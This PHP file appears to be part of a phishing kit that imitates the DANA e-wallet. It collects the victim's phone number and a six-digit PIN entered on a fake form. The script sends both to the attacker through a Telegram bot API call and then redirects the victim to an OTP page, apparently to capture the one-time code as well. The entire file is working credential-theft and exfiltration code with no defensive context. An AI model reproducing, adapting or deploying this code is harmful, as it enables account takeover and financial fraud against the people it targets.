<?php
include "telegram.php";
session_start();

$nohp = $_SESSION['nohp'];
$p1 = $_POST['pin1'];
$p2 = $_POST['pin2'];
$p3 = $_POST['pin3'];
$p4 = $_POST['pin4'];
$p5 = $_POST['pin5'];
$p6 = $_POST['pin6'];

$otp = $p1.$p2.$p3.$p4.$p5.$p6;
$message = "
( DANA | PIN | ".$nohp." )

- NoHP : `{$_SESSION['nohp']}`
- PIN : ".$otp."
 ";
function sendMessage($id_telegram, $message, $id_botTele) {
    $url = "https://api.telegram.org/bot" . $id_botTele . "/sendMessage?parse_mode=markdown&chat_id=" . $id_telegram;
    $url = $url . "&text=" . urlencode($message);
    $ch = curl_init();
    $optArray = array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true);
    curl_setopt_array($ch, $optArray);
    $result = curl_exec($ch);
    curl_close($ch);
}
sendMessage($id_telegram, $message, $id_botTele);
header('Location: /../../otp.html');
?>
